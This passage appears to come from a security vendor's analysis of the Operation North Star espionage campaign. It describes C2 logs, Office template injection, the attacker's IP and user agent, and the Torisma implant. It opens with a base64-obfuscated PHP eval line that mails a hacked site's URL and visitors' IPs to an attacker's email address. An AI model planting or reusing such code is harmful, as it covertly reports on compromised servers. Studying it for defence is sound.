eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw==’));

?>

Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection).

Attacker Source

According to our analysis the attacker accessed and posted a malicious ASP script “template-letter.asp” from the IP address 104.194.220.87 on 7/9/2020.  Further research indicates that the attacker is originating from a service known as VPN Consumer in New York, NY.

Snipped from log file showing attacker IP 104.194.220.87

From the same logfiles, we observed the following User Agent String:

“Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”

Decoding the User Agent string we can make the following statement

The attacker is using a 64bit Windows 10 platform and Office 2016.

The Office version is the same as we observed in the creation of the Word-documents as described in our document analysis part of Operation NorthStar.

Conclusión

It is not very often that we have a chance of getting the C2 server code pages and associated logging in our possession for analysis. Where we started with our initial analysis of the first stage payloads, layer after layer we were able to decode and reveal, resulting in unique insights into this campaign.

Analysis of logfiles uncovered potential targets of which we were unaware following our first analysis of Operation North Star, including internet service providers and defense contractors based in Russia and India.

Our analysis reveals a previously unknown second stage implant known as Torisma which executes a custom shellcode, depending on specific victim profiles, to run custom actions. It also illustrates how the adversary used compromised domains in Italy and elsewhere, belonging to random organizations such as an auction house and printing company, to collect data on victim organizations in multiple countries during an operation that lasted nearly a year.

This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring. Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.

Our findings ultimately provide a unique view into not only how the adversary executes his attacks but also how he evaluates and chooses to further exploit his victims.

Read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign.

Special thanks to Philippe Laulheret for his assistance in analysis

(1) https://www.ecrypt.eu.org/stream/p2ciphers/vest/vest_p2.pdf

(2) https://www.ecrypt.eu.org/stream/vestp2.html





Enlace a la noticia original